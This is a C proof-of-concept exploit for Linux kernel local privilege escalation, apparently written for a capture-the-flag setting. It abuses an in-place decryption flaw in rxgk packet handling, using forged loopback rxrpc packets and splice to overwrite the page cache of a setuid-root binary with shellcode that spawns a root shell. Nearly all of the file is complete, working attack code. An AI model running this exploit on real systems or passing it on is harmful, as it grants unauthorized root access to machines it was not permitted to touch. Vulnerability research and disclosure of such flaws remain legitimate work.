/*
 * rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb()
 *
 * net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
 * crypto_krb5_decrypt() with no skb_cow_data().  The krb5enc AEAD template
 * (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC.  When skb
 * frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback),
 * the in-place decrypt corrupts the page cache.
 *
 * The same pattern exists in rxkad (rxkad_verify_packet_2).
 *
 * Exploitation uses a sliding-window technique to write arbitrary bytes to the
 * pagecache one at a time.  Each round fires a spliced rxgk packet at offset
 * S+i, corrupting a 16-byte AES block.  Byte[0] of the output is uniformly
 * random (1/256 chance of the target value).  Round i+1 at offset S+i+1
 * overwrites the 15 bytes of collateral from round i, but never touches the
 * byte set by round i.  This yields byte-granularity writes at ~256 fires per
 * byte.
 *
 * Attack: rewrite /etc/passwd root entry → empty password → su root → flag.
 *
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>

#ifdef __has_include
#  if __has_include(<linux/rxrpc.h>)
#    include <linux/if.h>
#    include <linux/rxrpc.h>
#    include <linux/keyctl.h>
#  else
#    define NEED_RXRPC_DEFS
#  endif
#else
#  include <linux/if.h>
#  include <linux/rxrpc.h>
#  include <linux/keyctl.h>
#endif

#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif

#ifdef NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY       1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT   2
#define RXRPC_USER_CALL_ID       1
struct sockaddr_rxrpc {
	unsigned short	srx_family;
	uint16_t	srx_service;
	uint16_t	transport_type;
	uint16_t	transport_len;
	union {
		unsigned short family;
		struct sockaddr_in sin;
		struct sockaddr_in6 sin6;
	} transport;
};
#endif

#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS  17
#define AES_KEY_LEN         16

struct rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t  type;
	uint8_t  flags;
	uint8_t  userStatus;
	uint8_t  securityIndex;
	uint16_t cksum;
	uint16_t serviceId;
} __attribute__((packed));

#define RXRPC_PACKET_TYPE_DATA      1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET           0x04

#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)

/* --- helpers --- */

static long key_add(const char *type, const char *desc,
		    const void *payload, size_t plen, int ringid)
{
	return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

/* --- user/net namespace --- */

static void setup_ns(void)
{
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		if (unshare(CLONE_NEWNET) < 0) {
			perror("unshare");
			exit(1);
		}
	} else {
		write_proc("/proc/self/setgroups", "deny");
		char map[64];
		snprintf(map, sizeof(map), "0 %u 1", uid);
		write_proc("/proc/self/uid_map", map);
		snprintf(map, sizeof(map), "0 %u 1", gid);
		write_proc("/proc/self/gid_map", map);
	}

	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s >= 0) {
		struct ifreq ifr = {};
		strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
		if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
			ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
			ioctl(s, SIOCSIFFLAGS, &ifr);
		}
		close(s);
	}
}

/* --- rxgk XDR token construction --- */

static void xdr_put32(uint8_t **pp, uint32_t val)
{
	uint32_t nv = htonl(val);
	memcpy(*pp, &nv, 4);
	*pp += 4;
}

static void xdr_put64(uint8_t **pp, uint64_t val)
{
	xdr_put32(pp, (uint32_t)(val >> 32));
	xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}

static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
	xdr_put32(pp, (uint32_t)len);
	memcpy(*pp, data, len);
	*pp += len;
	size_t pad = (4 - (len & 3)) & 3;
	if (pad) { memset(*pp, 0, pad); *pp += pad; }
}

static int build_rxgk_token(uint8_t *out, size_t maxlen,
			    const uint8_t *base_key, size_t keylen)
{
	uint8_t *p = out;
	struct timespec ts;
	clock_gettime(CLOCK_REALTIME, &ts);
	uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
		       (uint64_t)ts.tv_nsec / 100ULL;

	xdr_put32(&p, 0);				/* flags */
	xdr_put_data(&p, "poc.test", 8);		/* cell */
	xdr_put32(&p, 1);				/* ntoken */

	uint8_t tok[512];
	uint8_t *tp = tok;
	xdr_put32(&tp, RXGK_SECURITY_INDEX);
	xdr_put64(&tp, now);				/* begintime */
	xdr_put64(&tp, now + 864000000000ULL);		/* endtime */
	xdr_put64(&tp, 2);				/* level = ENCRYPT */
	xdr_put64(&tp, 864000000000ULL);		/* lifetime */
	xdr_put64(&tp, 0);				/* bytelife */
	xdr_put64(&tp, ENCTYPE_AES128_CTS);		/* enctype */
	xdr_put_data(&tp, base_key, keylen);		/* key */
	uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
	xdr_put_data(&tp, ticket, sizeof(ticket));

	size_t toklen = (size_t)(tp - tok);
	xdr_put32(&p, (uint32_t)toklen);
	memcpy(p, tok, toklen);
	p += toklen;

	if ((size_t)(p - out) > maxlen) return -1;
	return (int)(p - out);
}

static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
	uint8_t buf[1024];
	int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
	if (n < 0) return -1;
	return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}

/* --- AF_RXRPC client + fake UDP server --- */

static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
	int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
	if (fd < 0) return -1;

	if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
		       keyname, strlen(keyname)) < 0) {
		close(fd); return -1;
	}
	int min_level = RXRPC_SECURITY_ENCRYPT;
	if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
		       &min_level, sizeof(min_level)) < 0) {
		close(fd); return -1;
	}

	struct sockaddr_rxrpc srx = {0};
	srx.srx_family = AF_RXRPC;
	srx.srx_service = 0;
	srx.transport_type = SOCK_DGRAM;
	srx.transport_len = sizeof(struct sockaddr_in);
	srx.transport.sin.sin_family = AF_INET;
	srx.transport.sin.sin_port = htons(local_port);
	srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);

	if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
		close(fd); return -1;
	}
	return fd;
}

static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
	char data[] = "TESTDATA";
	struct sockaddr_rxrpc srx = {0};
	srx.srx_family = AF_RXRPC;
	srx.srx_service = service_id;
	srx.transport_type = SOCK_DGRAM;
	srx.transport_len = sizeof(struct sockaddr_in);
	srx.transport.sin.sin_family = AF_INET;
	srx.transport.sin.sin_port = htons(srv_port);
	srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);

	char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
	struct msghdr msg = {0};
	msg.msg_name = &srx;
	msg.msg_namelen = sizeof(srx);
	struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cmsg_buf;
	msg.msg_controllen = sizeof(cmsg_buf);
	struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_RXRPC;
	cmsg->cmsg_type = RXRPC_USER_CALL_ID;
	cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
	*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;

	int fl = fcntl(cli_fd, F_GETFL);
	fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
	ssize_t n = sendmsg(cli_fd, &msg, 0);
	fcntl(cli_fd, F_SETFL, fl);

	if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
		return -1;
	return 0;
}

static int setup_udp_server(uint16_t port)
{
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) return -1;
	struct sockaddr_in sa = {
		.sin_family = AF_INET,
		.sin_port = htons(port),
		.sin_addr.s_addr = htonl(0x7F000001),
	};
	int one = 1;
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		close(s); return -1;
	}
	return s;
}

static ssize_t udp_recv(int s, void *buf, size_t cap,
			struct sockaddr_in *from, int timeout_ms)
{
	struct pollfd pfd = { .fd = s, .events = POLLIN };
	if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
	socklen_t fl = from ? sizeof(*from) : 0;
	return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}

/*
 * Fire one splice-based pagecache corruption at the given file offset.
 * Sets up an rxgk connection with the provided key, completes the handshake
 * via a fake UDP server on loopback, then splices pagecache pages into a
 * forged DATA packet.  The kernel's in-place decrypt corrupts the pagecache.
 *
 * Returns 1 on fire, -1 on setup error.
 */
static int trigger_seq = 0;

static int fire(int target_fd, off_t splice_off, size_t splice_len,
		const uint8_t *base_key, size_t keylen)
{
	char keyname[32];
	snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);

	long key = add_rxgk_key(keyname, base_key, keylen);
	if (key < 0) return -1;

	/* Use high-entropy ports to avoid TIME_WAIT collisions */
	uint16_t port_S = 10000 + (rand() % 27000) * 2;
	uint16_t port_C = port_S + 1;
	int ret = -1;

	int udp_srv = setup_udp_server(port_S);
	if (udp_srv < 0) goto out_key;

	int cli = setup_rxrpc_client(port_C, keyname);
	if (cli < 0) goto out_udp;

	if (initiate_call(cli, port_S, 1234) < 0)
		goto out_cli;

	uint8_t pkt[2048];
	struct sockaddr_in cli_addr;
	ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
	if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;

	struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
	uint32_t epoch = ntohl(hdr->epoch);
	uint32_t cid   = ntohl(hdr->cid);
	uint32_t callN = ntohl(hdr->callNumber);
	uint16_t svc   = ntohs(hdr->serviceId);
	uint16_t cport = ntohs(cli_addr.sin_port);

	/* send challenge */
	{
		uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
		memset(ch, 0, sizeof(ch));
		struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
		c->epoch = htonl(epoch);
		c->cid = htonl(cid);
		c->serial = htonl(0x10000);
		c->type = RXRPC_PACKET_TYPE_CHALLENGE;
		c->securityIndex = RXGK_SECURITY_INDEX;
		c->serviceId = htons(svc);
		for (int i = 0; i < 20; i++)
			ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
		struct sockaddr_in to = { .sin_family = AF_INET,
			.sin_port = htons(cport),
			.sin_addr.s_addr = htonl(0x7F000001) };
		sendto(udp_srv, ch, sizeof(ch), 0,
		       (struct sockaddr *)&to, sizeof(to));
	}

	/* drain response(s) */
	for (int i = 0; i < 3; i++) {
		struct sockaddr_in src;
		if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
	}

	/* forge DATA packet: wire header from userspace, payload from pagecache */
	struct rxrpc_wire_header mal = {0};
	mal.epoch = htonl(epoch);
	mal.cid = htonl(cid);
	mal.callNumber = htonl(callN);
	mal.seq = htonl(1);
	mal.serial = htonl(0x42000);
	mal.type = RXRPC_PACKET_TYPE_DATA;
	mal.flags = RXRPC_LAST_PACKET;
	mal.securityIndex = RXGK_SECURITY_INDEX;
	mal.serviceId = htons(svc);

	struct sockaddr_in dst = { .sin_family = AF_INET,
		.sin_port = htons(cport),
		.sin_addr.s_addr = htonl(0x7F000001) };
	if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
		goto out_cli;

	int p[2];
	if (pipe(p) < 0) goto out_cli;
	struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
	if (vmsplice(p[1], &viv, 1, 0) < 0)
		{ close(p[0]); close(p[1]); goto out_cli; }
	loff_t off = splice_off;
	if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
		{ close(p[0]); close(p[1]); goto out_cli; }
	if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
		{ close(p[0]); close(p[1]); goto out_cli; }
	close(p[0]); close(p[1]);

	usleep(1000);

	/* drain the error from the client socket (HMAC check fails as expected) */
	int fl = fcntl(cli, F_GETFL);
	fcntl(cli, F_SETFL, fl | O_NONBLOCK);
	for (int i = 0; i < 2; i++) {
		char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
		struct msghdr m = {0};
		struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
		m.msg_name = &srx; m.msg_namelen = sizeof(srx);
		m.msg_iov = &iv; m.msg_iovlen = 1;
		m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
		recvmsg(cli, &m, 0);
	}
	ret = 1;

out_cli:
	close(cli);
out_udp:
	close(udp_srv);
out_key:
	syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
	syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
	return ret;
}

/* --- sliding window write with progress display --- */

static void progress(int done, int total, int fires)
{
	int width = 40;
	int filled = total ? (done * width / total) : 0;
	int pct = total ? (done * 100 / total) : 0;
	fprintf(stderr, "\r    [");
	for (int j = 0; j < width; j++)
		fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
	fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
	if (done == total) fputc('\n', stderr);
	fflush(stderr);
}

static int pagecache_write(int rfd, void *map, off_t base,
			  const uint8_t *target, int len, off_t file_size,
			  const char *label)
{
	uint8_t key[16];
	uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
	struct timespec t0;
	clock_gettime(CLOCK_MONOTONIC, &t0);
	int total = 0;

	int max_off = (int)(file_size - 28);
	if (base + len - 1 > max_off)
		len = max_off - (int)base + 1;

	/* Find first byte that differs. We must write everything from there
	 * onward, because each round's 15-byte damage zone corrupts the next
	 * bytes even if they originally matched. */
	int start = 0;
	for (int i = 0; i < len; i++) {
		uint8_t cur;
		pread(rfd, &cur, 1, base + i);
		if (cur != target[i]) { start = i; break; }
		if (i == len - 1) {
			LOG("pagecache already matches, skipping write");
			return 0;
		}
	}
	int need = len - start;

	LOG("writing shellcode to %s (%d bytes from offset %d)",
	    label, need, (int)base + start);
	progress(0, need, 0);

	for (int i = start; i < len; i++) {
		off_t off = base + i;
		uint8_t want = target[i];
		uint8_t cur;
		pread(rfd, &cur, 1, off);

		if (cur == want && i > start) {
			/* Byte matches AND we haven't just written (no damage pending).
			 * This only happens for the first byte after start, which is
			 * impossible since start IS the first diff. After that, each
			 * round's damage means we always write. Just be safe: */
			continue;
		}

		int ok = 0;
		for (int att = 0; att < 10000; att++) {
			seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
			uint64_t r = seed;
			seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
			memcpy(key, &r, 8);
			memcpy(key + 8, &seed, 8);

			size_t slen = 28;
			if (off + (off_t)slen > file_size) slen = file_size - off;
			if (slen < 16) slen = 16;
			int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
			total++;
			if (rc == 1 && ((const uint8_t *)map)[off] == want) {
				ok = 1;
				progress(i - start + 1, need, total);
				break;
			}
		}
		if (!ok) {
			fprintf(stderr, "\n");
			ERR("byte %d/%d failed", i - start + 1, need);
			return -1;
		}
	}

	struct timespec t1;
	clock_gettime(CLOCK_MONOTONIC, &t1);
	double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
	LOG("%d fires in %.1fs", total, dt);
	return 0;
}

/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
 * 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
 * Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64).
 * PT_LOAD covers 120 bytes; the 15-byte sliding-window damage
 * tail at offset 120+ is past the loadable segment. */
static const uint8_t tiny_elf[] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
	0xb0,0x69,0x0f,0x05,                      /* setuid(0) */
	0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff,       /* lea rdi, \"/bin/sh\" */
	0x6a,0x3b,0x58,                            /* push 59; pop rax */
	0x0f,0x05,                                 /* execve(\"/bin/sh\", 0, 0) */
};

/* --- main --- */

int main(int argc, char **argv)
{
	(void)argc; (void)argv;
	srand(time(NULL) ^ getpid());

	fprintf(stderr, "\n=== rxgk pagecache write ===\n");
	fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid());

	/* Target: any setuid-root binary readable by us. */
	const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount",
		"/usr/bin/passwd", "/usr/bin/chsh", NULL };
	const char *target_path = NULL;
	for (int i = 0; targets[i]; i++) {
		struct stat sb;
		if (stat(targets[i], &sb) == 0 &&
		    (sb.st_mode & S_ISUID) &&
		    sb.st_uid == 0 &&
		    access(targets[i], R_OK) == 0) {
			target_path = targets[i];
			break;
		}
	}
	if (!target_path) { ERR("no readable setuid-root binary found"); return 1; }

	/* Back up the target binary so the root shell can restore it. */
	char backup[256];
	const char *base = strrchr(target_path, '/');
	base = base ? base + 1 : target_path;
	snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid());
	{
		int src = open(target_path, O_RDONLY);
		int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600);
		if (src >= 0 && dst >= 0) {
			char buf[4096];
			ssize_t n;
			while ((n = read(src, buf, sizeof(buf))) > 0)
				write(dst, buf, n);
		}
		if (src >= 0) close(src);
		if (dst >= 0) close(dst);
	}

	int rfd = open(target_path, O_RDONLY);
	if (rfd < 0) { perror(target_path); return 1; }

	void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
	if (map == MAP_FAILED) { perror("mmap"); return 1; }

	pid_t pid = fork();
	if (pid < 0) { perror("fork"); return 1; }
	if (pid == 0) {
		setup_ns();
		usleep(10000);

		int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
		if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); }
		close(sock);

		struct stat sb;
		fstat(rfd, &sb);
		_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0);
	}

	int st;
	waitpid(pid, &st, 0);
	if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
		ERR("corruption failed (status 0x%x)", st);
		unlink(backup);
		return 1;
	}

	munmap(map, 4096);
	close(rfd);

	LOG("exec %s", target_path);
	LOG("restore: cp %s %s", backup, target_path);
	fflush(stderr);

	execlp(target_path, target_path, (char *)NULL);
	perror(target_path);
	return 1;
}
